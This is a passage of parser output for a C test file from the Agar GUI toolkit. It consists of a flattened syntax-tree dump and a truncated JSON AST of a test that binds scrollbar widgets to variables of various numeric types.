(pointer_expression) "&vLDbl" (&) "&" (identifier) "vLDbl" ()) ")" (;) ";" (expression_statement) "sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);" (assignment_expression) "sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags)" (identifier) "sb" (=) "=" (call_expression) "AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags)" (identifier) "AG_ScrollbarNew" (argument_list) "(win, AG_SCROLLBAR_HORIZ, flags)" (() "(" (identifier) "win" (,) "," (identifier) "AG_SCROLLBAR_HORIZ" (,) "," (identifier) "flags" ()) ")" (;) ";" (expression_statement) "AG_BindLongDouble(sb, "value", &vLDbl);" (call_expression) "AG_BindLongDouble(sb, "value", &vLDbl)" (identifier) "AG_BindLongDouble" (argument_list) "(sb, "value", &vLDbl)" (() "(" (identifier) "sb" (,) "," (string_literal) ""value"" (") """ (string_content) "value" (") """ (,) "," (pointer_expression) "&vLDbl" (&) "&" (identifier) "vLDbl" ()) ")" (;) ";" (#endif) "#endif" (return_statement) "return (0);" (return) "return" (parenthesized_expression) "(0)" (() "(" (number_literal) "0" ()) ")" (;) ";" (}) "}" (declaration) "const AG_TestCase scrollbarTest = {\n "scrollbar",\n N_("Test the AG_Scrollbar(3) widget"),\n "1.5.0",\n 0,\n sizeof(AG_TestInstance),\n NULL, /* init */\n NULL, /* destroy */\n NULL, /* test */\n TestGUI,\n NULL /* bench */\n};" (type_qualifier) "const" (const) "const" (type_identifier) "AG_TestCase" (init_declarator) "scrollbarTest = {\n "scrollbar",\n N_("Test the AG_Scrollbar(3) widget"),\n "1.5.0",\n 0,\n sizeof(AG_TestInstance),\n NULL, /* init */\n NULL, /* destroy */\n NULL, /* test */\n TestGUI,\n NULL /* bench */\n}" (identifier) "scrollbarTest" (=) "=" (initializer_list) "{\n "scrollbar",\n N_("Test the AG_Scrollbar(3) widget"),\n "1.5.0",\n 0,\n sizeof(AG_TestInstance),\n NULL, /* init */\n NULL, /* destroy */\n NULL, /* test */\n TestGUI,\n NULL /* bench */\n}" ({) "{" (string_literal) ""scrollbar"" (") """ (string_content) "scrollbar" (") """ (,) "," (call_expression) "N_("Test the AG_Scrollbar(3) widget")" (identifier) "N_" (argument_list) "("Test the AG_Scrollbar(3) widget")" (() "(" (string_literal) ""Test the AG_Scrollbar(3) widget"" (") """ (string_content) "Test the AG_Scrollbar(3) widget" (") """ ()) ")" (,) "," (string_literal) ""1.5.0"" (") """ (string_content) "1.5.0" (") """ (,) "," (number_literal) "0" (,) "," (sizeof_expression) "sizeof(AG_TestInstance)" (sizeof) "sizeof" (parenthesized_expression) "(AG_TestInstance)" (() "(" (identifier) "AG_TestInstance" ()) ")" (,) "," (null) "NULL" (NULL) "NULL" (,) "," (comment) "/* init */" (null) "NULL" (NULL) "NULL" (,) "," (comment) "/* destroy */" (null) "NULL" (NULL) "NULL" (,) "," (comment) "/* test */" (identifier) "TestGUI" (,) "," (null) "NULL" (NULL) "NULL" (comment) "/* bench */" (}) "}" (;) ";"
919
0
{"language": "c", "success": true, "metadata": {"lines": 88, "avg_line_length": 31.15, "nodes": 452, "errors": 0, "source_hash": "10b2f19f25a7bfdee9302a16628a424b4c7957a7fe11870dd4988f6065cd47fc", "categorized_nodes": 351}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#include \"agartest.h\"\n", "parent": null, "children": [1, 2], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 7, "column": 0}}, {"id": 1, "type": "#include", "text": "#include", "parent": 0, "children": [], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 6, "column": 8}}, {"id": 2, "type": "string_literal", "text": "\"agartest.h\"", "parent": 0, "children": [], "start_point": {"row": 6, "column": 9}, "end_point": {"row": 6, "column": 21}}, {"id": 3, "type": "declaration", "text": "int vInt = 500;", "parent": null, "children": [4, 5], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 15}}, {"id": 4, "type": "primitive_type", "text": "int", "parent": 3, "children": [], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 3}}, {"id": 5, "type": "init_declarator", "text": "vInt = 500", "parent": 3, "children": [6, 7, 8], "start_point": {"row": 8, "column": 4}, "end_point": {"row": 8, "column": 14}}, {"id": 6, "type": "identifier", "text": "vInt", "parent": 5, "children": [], "start_point": {"row": 8, "column": 4}, "end_point": {"row": 8, "column": 8}}, {"id": 7, "type": "=", "text": "=", "parent": 5, "children": [], "start_point": {"row": 8, "column": 9}, "end_point": {"row": 8, "column": 10}}, {"id": 8, "type": "number_literal", "text": "500", "parent": 5, "children": [], "start_point": {"row": 8, "column": 11}, "end_point": {"row": 8, "column": 14}}, {"id": 9, "type": "declaration", "text": "unsigned vUint = 0;", "parent": null, "children": [10, 12], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 9, "column": 19}}, {"id": 10, "type": "sized_type_specifier", "text": "unsigned", "parent": 9, "children": [11], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 9, "column": 8}}, {"id": 11, "type": "unsigned", "text": "unsigned", "parent": 10, "children": [], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 9, "column": 8}}, {"id": 12, "type": "init_declarator", "text": "vUint = 0", "parent": 9, "children": [13, 14, 15], "start_point": {"row": 9, "column": 9}, "end_point": {"row": 9, "column": 18}}, {"id": 13, "type": "identifier", "text": "vUint", "parent": 12, "children": [], "start_point": {"row": 9, "column": 9}, "end_point": {"row": 9, "column": 14}}, {"id": 14, "type": "=", "text": "=", "parent": 12, "children": [], "start_point": {"row": 9, "column": 15}, "end_point": {"row": 9, "column": 16}}, {"id": 15, "type": "number_literal", "text": "0", "parent": 12, "children": [], "start_point": {"row": 9, "column": 17}, "end_point": {"row": 9, "column": 18}}, {"id": 16, "type": "declaration", "text": "Sint8 v8 = 50;", "parent": null, "children": [17, 18], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 14}}, {"id": 17, "type": "type_identifier", "text": "Sint8", "parent": 16, "children": [], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 5}}, {"id": 18, "type": "init_declarator", "text": "v8 = 50", "parent": 16, "children": [19, 20, 21], "start_point": {"row": 10, "column": 6}, "end_point": {"row": 10, "column": 13}}, {"id": 19, "type": "identifier", "text": "v8", "parent": 18, "children": [], "start_point": {"row": 10, "column": 6}, "end_point": {"row": 10, "column": 8}}, {"id": 20, "type": "=", "text": "=", "parent": 18, "children": [], "start_point": {"row": 10, "column": 9}, "end_point": {"row": 10, "column": 10}}, {"id": 21, "type": "number_literal", "text": "50", "parent": 18, "children": [], "start_point": {"row": 10, "column": 11}, "end_point": {"row": 10, "column": 13}}, {"id": 22, "type": "declaration", "text": "Uint32 v32 = 32;", "parent": null, "children": [23, 24], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 11, "column": 16}}, {"id": 23, "type": "type_identifier", "text": "Uint32", "parent": 22, "children": [], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 11, "column": 6}}, {"id": 24, "type": "init_declarator", "text": "v32 = 32", "parent": 22, "children": [25, 26, 27], "start_point": {"row": 11, "column": 7}, "end_point": {"row": 11, "column": 15}}, {"id": 25, "type": "identifier", "text": "v32", "parent": 24, "children": [], "start_point": {"row": 11, "column": 7}, "end_point": {"row": 11, "column": 10}}, {"id": 26, "type": "=", "text": "=", "parent": 24, "children": [], "start_point": {"row": 11, "column": 11}, "end_point": {"row": 11, "column": 12}}, {"id": 27, "type": "number_literal", "text": "32", "parent": 24, "children": [], "start_point": {"row": 11, "column": 13}, "end_point": {"row": 11, "column": 15}}, {"id": 28, "type": "preproc_ifdef", "text": "#ifdef AG_HAVE_64BIT\nUint64 v64 = 64;\n#endif", "parent": null, "children": [29, 30, 31, 37], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 14, "column": 6}}, {"id": 29, "type": "#ifdef", "text": "#ifdef", "parent": 28, "children": [], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 6}}, {"id": 30, "type": "identifier", "text": "AG_HAVE_64BIT", "parent": 28, "children": [], "start_point": {"row": 12, "column": 7}, "end_point": {"row": 12, "column": 20}}, {"id": 31, "type": "declaration", "text": "Uint64 v64 = 64;", "parent": 28, "children": [32, 33], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 16}}, {"id": 32, "type": "type_identifier", "text": "Uint64", "parent": 31, "children": [], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 6}}, {"id": 33, "type": "init_declarator", "text": "v64 = 64", "parent": 31, "children": [34, 35, 36], "start_point": {"row": 13, "column": 7}, "end_point": {"row": 13, "column": 15}}, {"id": 34, "type": "identifier", "text": "v64", "parent": 33, "children": [], "start_point": {"row": 13, "column": 7}, "end_point": {"row": 13, "column": 10}}, {"id": 35, "type": "=", "text": "=", "parent": 33, "children": [], "start_point": {"row": 13, "column": 11}, "end_point": {"row": 13, "column": 12}}, {"id": 36, "type": "number_literal", "text": "64", "parent": 33, "children": [], "start_point": {"row": 13, "column": 13}, "end_point": {"row": 13, "column": 15}}, {"id": 37, "type": "#endif", "text": "#endif", "parent": 28, "children": [], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 14, "column": 6}}, {"id": 38, "type": "declaration", "text": "float vFlt = 1.0;", "parent": null, "children": [39, 40], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 15, "column": 17}}, {"id": 39, "type": "primitive_type", "text": "float", "parent": 38, "children": [], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 15, "column": 5}}, {"id": 40, "type": "init_declarator", "text": "vFlt = 1.0", "parent": 38, "children": [41, 42, 43], "start_point": {"row": 15, "column": 6}, "end_point": {"row": 15, "column": 16}}, {"id": 41, "type": "identifier", "text": "vFlt", "parent": 40, "children": [], "start_point": {"row": 15, "column": 6}, "end_point": {"row": 15, "column": 10}}, {"id": 42, "type": "=", "text": "=", "parent": 40, "children": [], "start_point": {"row": 15, "column": 11}, "end_point": {"row": 15, "column": 12}}, {"id": 43, "type": "number_literal", "text": "1.0", "parent": 40, "children": [], "start_point": {"row": 15, "column": 13}, "end_point": {"row": 15, "column": 16}}, {"id": 44, "type": "declaration", "text": "double vDbl = 0.0;", "parent": null, "children": [45, 46], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 16, "column": 18}}, {"id": 45, "type": "primitive_type", "text": "double", "parent": 44, "children": [], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 16, "column": 6}}, {"id": 46, "type": "init_declarator", "text": "vDbl = 0.0", "parent": 44, "children": [47, 48, 49], "start_point": {"row": 16, "column": 7}, "end_point": {"row": 16, "column": 17}}, {"id": 47, "type": "identifier", "text": "vDbl", "parent": 46, "children": [], "start_point": {"row": 16, "column": 7}, "end_point": {"row": 16, "column": 11}}, {"id": 48, "type": "=", "text": "=", "parent": 46, "children": [], "start_point": {"row": 16, "column": 12}, "end_point": {"row": 16, "column": 13}}, {"id": 49, "type": "number_literal", "text": "0.0", "parent": 46, "children": [], "start_point": {"row": 16, "column": 14}, "end_point": {"row": 16, "column": 17}}, {"id": 50, "type": "preproc_ifdef", "text": "#ifdef AG_HAVE_LONG_DOUBLE\nlong double vLDbl = 1.0;\n#endif", "parent": null, "children": [51, 52, 53, 61], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 19, "column": 6}}, {"id": 51, "type": "#ifdef", "text": "#ifdef", "parent": 50, "children": [], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 17, "column": 6}}, {"id": 52, "type": "identifier", "text": "AG_HAVE_LONG_DOUBLE", "parent": 50, "children": [], "start_point": {"row": 17, "column": 7}, "end_point": {"row": 17, "column": 26}}, {"id": 53, "type": "declaration", "text": "long double vLDbl = 1.0;", "parent": 50, "children": [54, 57], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 18, "column": 24}}, {"id": 54, "type": "sized_type_specifier", "text": "long double", "parent": 53, "children": [55, 56], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 18, "column": 11}}, {"id": 55, "type": "long", "text": "long", "parent": 54, "children": [], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 18, "column": 4}}, {"id": 56, "type": "primitive_type", "text": "double", "parent": 54, "children": [], "start_point": {"row": 18, "column": 5}, "end_point": {"row": 18, "column": 11}}, {"id": 57, "type": "init_declarator", "text": "vLDbl = 1.0", "parent": 53, "children": [58, 59, 60], "start_point": {"row": 18, "column": 12}, "end_point": {"row": 18, "column": 23}}, {"id": 58, "type": "identifier", "text": "vLDbl", "parent": 57, "children": [], "start_point": {"row": 18, "column": 12}, "end_point": {"row": 18, "column": 17}}, {"id": 59, "type": "=", "text": "=", "parent": 57, "children": [], "start_point": {"row": 18, "column": 18}, "end_point": {"row": 18, "column": 19}}, {"id": 60, "type": "number_literal", "text": "1.0", "parent": 57, "children": [], "start_point": {"row": 18, "column": 20}, "end_point": {"row": 18, "column": 23}}, {"id": 61, "type": "#endif", "text": "#endif", "parent": 50, "children": [], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 19, "column": 6}}, {"id": 62, "type": "function_definition", "text": "static int\nTestGUI(void *obj, AG_Window *win)\n{\n\tAG_Scrollbar *sb;\n\tAG_Label *lbl;\n\tUint flags = AG_SCROLLBAR_HFILL|AG_SCROLLBAR_NOAUTOHIDE;\n\n\tlbl = AG_LabelNewPolled(win, AG_LABEL_HFILL, \"Int binding: %d\", &vInt);\n\tAG_LabelSizeHint(lbl, 0, \"XXXXXXXXXXXXXXXXXXXX\");\n\tsb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n\tAG_BindInt(sb, \"value\", &vInt);\n\tAG_SetInt(sb, \"min\", -10000);\n\tAG_SetInt(sb, \"max\", 10000);\n\tAG_SetInt(sb, \"inc\", 1000);\n\n\tAG_LabelNewPolled(win, AG_LABEL_HFILL, \"Uint binding: %d (vis=1000)\", &vUint);\n\tsb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n\tAG_BindUint(sb, \"value\", &vUint);\n\tAG_SetUint(sb, \"min\", 0);\n\tAG_SetUint(sb, \"max\", 10000);\n\tAG_SetUint(sb, \"inc\", 1000);\n\tAG_SetUint(sb, \"visible\", 1000);\n\n\tAG_LabelNewPolled(win, AG_LABEL_HFILL, \"8-bit binding: %[s8] (vis=50)\", &v8);\n\tsb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n\tAG_BindSint8(sb, \"value\", &v8);\n\tAG_SetSint8(sb, \"visible\", 50);\n\n\tAG_LabelNewPolled(win, AG_LABEL_HFILL, \"32-bit binding: %[u32] (vis=10)\", &v32);\n\tsb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n\tAG_BindUint32(sb, \"value\", &v32);\n\tAG_SetUint32(sb, \"min\", 0);\n\tAG_SetUint32(sb, \"max\", 100);\n\tAG_SetUint32(sb, \"visible\", 10);\n\n#ifdef AG_HAVE_64BIT\n\tAG_LabelNewPolled(win, AG_LABEL_HFILL, \"64-bit binding: %[u64] (vis=10)\", &v64);\n\tsb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n\tAG_BindUint64(sb, \"value\", &v64);\n\tAG_SetUint64(sb, \"min\", 0ULL);\n\tAG_SetUint64(sb, \"max\", 100ULL);\n\tAG_SetUint64(sb, \"visible\", 10ULL);\n#endif\n\tAG_LabelNewPolled(win, AG_LABEL_HFILL, \"Float binding: %f\", &vFlt);\n\tsb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n\tAG_BindFloat(sb, \"value\", &vFlt);\n\tAG_SetFloat(sb, \"min\", 0.0f);\n\tAG_SetFloat(sb, \"max\", 1.0f);\n\tAG_SetFloat(sb, \"inc\", 0.01f);\n\t\n\tAG_LabelNewPolled(win, AG_LABEL_HFILL, \"Double binding: %lf\", &vDbl);\n\tsb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n\tAG_BindDouble(sb, \"value\", &vDbl);\n\tAG_SetDouble(sb, \"min\", -100.0);\n\tAG_SetDouble(sb, \"max\", +100.0);\n\tAG_SetDouble(sb, \"inc\", 1.0);\n\n#ifdef AG_HAVE_LONG_DOUBLE\n\tAG_LabelNewPolled(win, AG_LABEL_HFILL, \"Long Double binding: %llf\", &vLDbl);\n\tsb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n\tAG_BindLongDouble(sb, \"value\", &vLDbl);\n#endif\n\treturn (0);\n}", "parent": null, "children": [63, 64], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 84, "column": 1}}, {"id": 63, "type": "primitive_type", "text": "int", "parent": 62, "children": [], "start_point": {"row": 21, "column": 7}, "end_point": {"row": 21, "column": 10}}, {"id": 64, "type": "function_declarator", "text": "TestGUI(void *obj, AG_Window *win)", "parent": 62, "children": [65, 66], "start_point": {"row": 22, "column": 0}, "end_point": {"row": 22, "column": 34}}, {"id": 65, "type": "identifier", "text": "TestGUI", "parent": 64, "children": [], "start_point": {"row": 22, "column": 0}, "end_point": {"row": 22, "column": 7}}, {"id": 66, "type": "parameter_list", "text": "(void *obj, AG_Window *win)", "parent": 64, "children": [67, 72], "start_point": {"row": 22, "column": 7}, "end_point": {"row": 22, "column": 34}}, {"id": 67, "type": "parameter_declaration", "text": "void *obj", "parent": 66, "children": [68, 69], "start_point": {"row": 22, "column": 8}, "end_point": {"row": 22, "column": 17}}, {"id": 68, "type": "primitive_type", "text": "void", "parent": 67, "children": [], "start_point": {"row": 22, "column": 8}, "end_point": {"row": 22, "column": 12}}, {"id": 69, "type": "pointer_declarator", "text": "*obj", "parent": 67, "children": [70, 71], "start_point": {"row": 22, "column": 13}, "end_point": {"row": 22, "column": 17}}, {"id": 70, "type": "*", "text": "*", "parent": 69, "children": [], "start_point": {"row": 22, "column": 13}, "end_point": {"row": 22, "column": 14}}, {"id": 71, "type": "identifier", "text": "obj", "parent": 69, "children": [], "start_point": {"row": 22, "column": 14}, "end_point": {"row": 22, "column": 17}}, {"id": 72, "type": "parameter_declaration", "text": "AG_Window *win", "parent": 66, "children": [73, 74], "start_point": {"row": 22, "column": 19}, "end_point": {"row": 22, "column": 33}}, {"id": 73, "type": "type_identifier", "text": "AG_Window", "parent": 72, "children": [], "start_point": {"row": 22, "column": 19}, "end_point": {"row": 22, "column": 28}}, {"id": 74, "type": "pointer_declarator", "text": "*win", "parent": 72, "children": [75, 76], "start_point": {"row": 22, "column": 29}, "end_point": {"row": 22, "column": 33}}, {"id": 75, "type": "*", "text": "*", "parent": 74, "children": [], "start_point": {"row": 22, "column": 29}, "end_point": {"row": 22, "column": 30}}, {"id": 76, "type": "identifier", "text": "win", "parent": 74, "children": [], "start_point": {"row": 22, "column": 30}, "end_point": {"row": 22, "column": 33}}, {"id": 77, "type": "declaration", "text": "AG_Scrollbar *sb;", "parent": 62, "children": [78, 79], "start_point": {"row": 24, "column": 1}, "end_point": {"row": 24, "column": 18}}, {"id": 78, "type": "type_identifier", "text": "AG_Scrollbar", "parent": 77, "children": [], "start_point": {"row": 24, "column": 1}, "end_point": {"row": 24, "column": 13}}, {"id": 79, "type": "pointer_declarator", "text": "*sb", "parent": 77, "children": [80, 81], "start_point": {"row": 24, "column": 14}, "end_point": {"row": 24, "column": 17}}, {"id": 80, "type": "*", "text": "*", "parent": 79, "children": [], "start_point": {"row": 24, "column": 14}, "end_point": {"row": 24, "column": 15}}, {"id": 81, "type": "identifier", "text": "sb", "parent": 79, "children": [], "start_point": {"row": 24, "column": 15}, "end_point": {"row": 24, "column": 17}}, {"id": 82, "type": "declaration", "text": "AG_Label *lbl;", "parent": 62, "children": [83, 84], "start_point": {"row": 25, "column": 1}, "end_point": {"row": 25, "column": 15}}, {"id": 83, "type": "type_identifier", "text": "AG_Label", "parent": 82, "children": [], "start_point": {"row": 25, "column": 1}, "end_point": {"row": 25, "column": 9}}, {"id": 84, "type": "pointer_declarator", "text": "*lbl", "parent": 82, "children": [85, 86], "start_point": {"row": 25, "column": 10}, "end_point": {"row": 25, "column": 14}}, {"id": 85, "type": "*", "text": "*", "parent": 84, "children": [], "start_point": {"row": 25, "column": 10}, "end_point": {"row": 25, "column": 11}}, {"id": 86, "type": "identifier", "text": "lbl", "parent": 84, "children": [], "start_point": {"row": 25, "column": 11}, "end_point": {"row": 25, "column": 14}}, {"id": 87, "type": "declaration", "text": "Uint flags = AG_SCROLLBAR_HFILL|AG_SCROLLBAR_NOAUTOHIDE;", "parent": 62, "children": [88, 89], "start_point": {"row": 26, "column": 1}, "end_point": {"row": 26, "column": 57}}, {"id": 88, "type": "type_identifier", "text": "Uint", "parent": 87, "children": [], "start_point": {"row": 26, "column": 1}, "end_point": {"row": 26, "column": 5}}, {"id": 89, "type": "init_declarator", "text": "flags = AG_SCROLLBAR_HFILL|AG_SCROLLBAR_NOAUTOHIDE", "parent": 87, "children": [90, 91, 92], "start_point": {"row": 26, "column": 6}, "end_point": {"row": 26, "column": 56}}, {"id": 90, "type": "identifier", "text": "flags", "parent": 89, "children": [], "start_point": {"row": 26, "column": 6}, "end_point": {"row": 26, "column": 11}}, {"id": 91, "type": "=", "text": "=", "parent": 89, "children": [], "start_point": {"row": 26, "column": 12}, "end_point": {"row": 26, "column": 13}}, {"id": 92, "type": "binary_expression", "text": "AG_SCROLLBAR_HFILL|AG_SCROLLBAR_NOAUTOHIDE", "parent": 89, "children": [93, 94], "start_point": {"row": 26, "column": 14}, "end_point": {"row": 26, "column": 56}}, {"id": 93, "type": "identifier", "text": "AG_SCROLLBAR_HFILL", "parent": 92, "children": [], "start_point": {"row": 26, "column": 14}, "end_point": {"row": 26, "column": 32}}, {"id": 94, "type": "identifier", "text": "AG_SCROLLBAR_NOAUTOHIDE", "parent": 92, "children": [], "start_point": {"row": 26, "column": 33}, "end_point": {"row": 26, "column": 56}}, {"id": 95, "type": "assignment_expression", "text": "lbl = AG_LabelNewPolled(win, AG_LABEL_HFILL, \"Int binding: %d\", &vInt)", "parent": 62, "children": [96, 97, 98], "start_point": {"row": 28, "column": 1}, "end_point": {"row": 28, "column": 71}}, {"id": 96, "type": "identifier", "text": "lbl", "parent": 95, "children": [], "start_point": {"row": 28, "column": 1}, "end_point": {"row": 28, "column": 4}}, {"id": 97, "type": "=", "text": "=", "parent": 95, "children": [], "start_point": {"row": 28, "column": 5}, "end_point": {"row": 28, "column": 6}}, {"id": 98, "type": "call_expression", "text": "AG_LabelNewPolled(win, AG_LABEL_HFILL, \"Int binding: %d\", &vInt)", "parent": 95, "children": [99, 100], "start_point": {"row": 28, "column": 7}, "end_point": {"row": 28, "column": 71}}, {"id": 99, "type": "identifier", "text": "AG_LabelNewPolled", "parent": 98, "children": [], "start_point": {"row": 28, "column": 7}, "end_point": {"row": 28, "column": 24}}, {"id": 100, "type": "argument_list", "text": "(win, AG_LABEL_HFILL, \"Int binding: %d\", &vInt)", "parent": 98, "children": [101, 102, 103, 104], "start_point": {"row": 28, "column": 24}, "end_point": {"row": 28, "column": 71}}, {"id": 101, "type": "identifier", "text": "win", "parent": 100, "children": [], "start_point": {"row": 28, "column": 25}, "end_point": {"row": 28, "column": 28}}, {"id": 102, "type": "identifier", "text": "AG_LABEL_HFILL", "parent": 100, "children": [], "start_point": {"row": 28, "column": 30}, "end_point": {"row": 28, "column": 44}}, {"id": 103, "type": "string_literal", "text": "\"Int binding: %d\"", "parent": 100, "children": [], "start_point": {"row": 28, "column": 46}, "end_point": {"row": 28, "column": 63}}, {"id": 104, "type": "pointer_expression", "text": "&vInt", "parent": 100, "children": [105], "start_point": {"row": 28, "column": 65}, "end_point": {"row": 28, "column": 70}}, {"id": 105, "type": "identifier", "text": "vInt", "parent": 104, "children": [], "start_point": {"row": 28, "column": 66}, "end_point": {"row": 28, "column": 70}}, {"id": 106, "type": "call_expression", "text": "AG_LabelSizeHint(lbl, 0, \"XXXXXXXXXXXXXXXXXXXX\")", "parent": 62, "children": [107, 108], "start_point": {"row": 29, "column": 1}, "end_point": {"row": 29, "column": 49}}, {"id": 107, "type": "identifier", "text": "AG_LabelSizeHint", "parent": 106, "children": [], "start_point": {"row": 29, "column": 1}, "end_point": {"row": 29, "column": 17}}, {"id": 108, "type": "argument_list", "text": "(lbl, 0, \"XXXXXXXXXXXXXXXXXXXX\")", "parent": 106, "children": [109, 110, 111], "start_point": {"row": 29, "column": 17}, "end_point": {"row": 29, "column": 49}}, {"id": 109, "type": "identifier", "text": "lbl", "parent": 108, "children": [], "start_point": {"row": 29, "column": 18}, "end_point": {"row": 29, "column": 21}}, {"id": 110, "type": "number_literal", "text": "0", "parent": 108, "children": [], "start_point": {"row": 29, "column": 23}, "end_point": {"row": 29, "column": 24}}, {"id": 111, "type": "string_literal", "text": "\"XXXXXXXXXXXXXXXXXXXX\"", "parent": 108, "children": [], "start_point": {"row": 29, "column": 26}, "end_point": {"row": 29, "column": 48}}, {"id": 112, "type": "assignment_expression", "text": "sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags)", "parent": 62, "children": [113, 114, 115], "start_point": {"row": 30, "column": 1}, "end_point": {"row": 30, "column": 53}}, {"id": 113, "type": "identifier", "text": "sb", "parent": 112, "children": [], "start_point": {"row": 30, "column": 1}, "end_point": {"row": 30, "column": 3}}, {"id": 114, "type": "=", "text": "=", "parent": 112, "children": [], "start_point": {"row": 30, "column": 4}, "end_point": {"row": 30, "column": 5}}, {"id": 115, "type": "call_expression", "text": "AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags)", "parent": 112, "children": [116, 117], "start_point": {"row": 30, "column": 6}, "end_point": {"row": 30, "column": 53}}, {"id": 116, "type": "identifier", "text": "AG_ScrollbarNew", "parent": 115, "children": [], "start_point": {"row": 30, "column": 6}, "end_point": {"row": 30, "column": 21}}, {"id": 117, "type": "argument_list", "text": "(win, AG_SCROLLBAR_HORIZ, flags)", "parent": 115, "children": [118, 119, 120], "start_point": {"row": 30, "column": 21}, "end_point": {"row": 30, "column": 53}}, {"id": 118, "type": "identifier", "text": "win", "parent": 117, "children": [], "start_point": {"row": 30, "column": 22}, "end_point": {"row": 30, "column": 25}}, {"id": 119, "type": "identifier", "text": "AG_SCROLLBAR_HORIZ", "parent": 117, "children": [], "start_point": {"row": 30, "column": 27}, "end_point": {"row": 30, "column": 45}}, {"id": 120, "type": "identifier", "text": "flags", "parent": 117, "children": [], "start_point": {"row": 30, "column": 47}, "end_point": {"row": 30, "column": 52}}, {"id": 121, "type": "call_expression", "text": "AG_BindInt(sb, \"value\", &vInt)", "parent": 62, "children": [122, 123], "start_point": {"row": 31, "column": 1}, "end_point": {"row": 31, "column": 31}}, {"id": 122, "type": "identifier", "text": "AG_BindInt", "parent": 121, "children": [], "start_point": {"row": 31, "column": 1}, "end_point": {"row": 31, "column": 11}}, {"id": 123, "type": "argument_list", "text": "(sb, \"value\", &vInt)", "parent": 121, "children": [124, 125, 126], "start_point": {"row": 31, "column": 11}, "end_point": {"row": 31, "column": 31}}, {"id": 124, "type": "identifier", "text": "sb", "parent": 123, "children": [], "start_point": {"row": 31, "column": 12}, "end_point": {"row": 31, "column": 14}}, {"id": 125, "type": "string_literal", "text": "\"value\"", "parent": 123, "children": [], "start_point": {"row": 31, "column": 16}, "end_point": {"row": 31, "column": 23}}, {"id": 126, "type": "pointer_expression", "text": "&vInt", "parent": 123, "children": [127], "start_point": {"row": 31, "column": 25}, "end_point": {"row": 31, "column": 30}}, {"id": 127, "type": "identifier", "text": "vInt", "parent": 126, "children": [], "start_point": {"row": 31, "column": 26}, "end_point": {"row": 31, "column": 30}}, {"id": 128, "type": "call_expression", "text": "AG_SetInt(sb, \"min\", -10000)", "parent": 62, "children": [129, 130], "start_point": {"row": 32, "column": 1}, "end_point": {"row": 32, "column": 29}}, {"id": 129, "type": "identifier", "text": "AG_SetInt", "parent": 128, "children": [], "start_point": {"row": 32, "column": 1}, "end_point": {"row": 32, "column": 10}}, {"id": 130, "type": "argument_list", "text": "(sb, \"min\", -10000)", "parent": 128, "children": [131, 132, 133], "start_point": {"row": 32, "column": 10}, "end_point": {"row": 32, "column": 29}}, {"id": 131, "type": "identifier", "text": "sb", "parent": 130, "children": [], "start_point": {"row": 32, "column": 11}, "end_point": {"row": 32, "column": 13}}, {"id": 132, "type": "string_literal", "text": "\"min\"", "parent": 130, "children": [], "start_point": {"row": 32, "column": 15}, "end_point": {"row": 32, "column": 20}}, {"id": 133, "type": "number_literal", "text": "-10000", "parent": 130, "children": [], "start_point": {"row": 32, "column": 22}, "end_point": {"row": 32, "column": 28}}, {"id": 134, "type": "call_expression", "text": "AG_SetInt(sb, \"max\", 10000)", "parent": 62, "children": [135, 136], "start_point": {"row": 33, "column": 1}, "end_point": {"row": 33, "column": 28}}, {"id": 135, "type": "identifier", "text": "AG_SetInt", "parent": 134, "children": [], "start_point": {"row": 33, "column": 1}, "end_point": {"row": 33, "column": 10}}, {"id": 136, "type": "argument_list", "text": "(sb, \"max\", 10000)", "parent": 134, "children": [137, 138, 139], "start_point": {"row": 33, "column": 10}, "end_point": {"row": 33, "column": 28}}, {"id": 137, "type": "identifier", "text": "sb", "parent": 136, "children": [], "start_point": {"row": 33, "column": 11}, "end_point": {"row": 33, "column": 13}}, {"id": 138, "type": "string_literal", "text": "\"max\"", "parent": 136, "children": [], "start_point": {"row": 33, "column": 15}, "end_point": {"row": 33, "column": 20}}, {"id": 139, "type": "number_literal", "text": "10000", "parent": 136, "children": [], "start_point": {"row": 33, "column": 22}, "end_point": {"row": 33, "column": 27}}, {"id": 140, "type": "call_expression", "text": "AG_SetInt(sb, \"inc\", 1000)", "parent": 62, "children": [141, 142], "start_point": {"row": 34, "column": 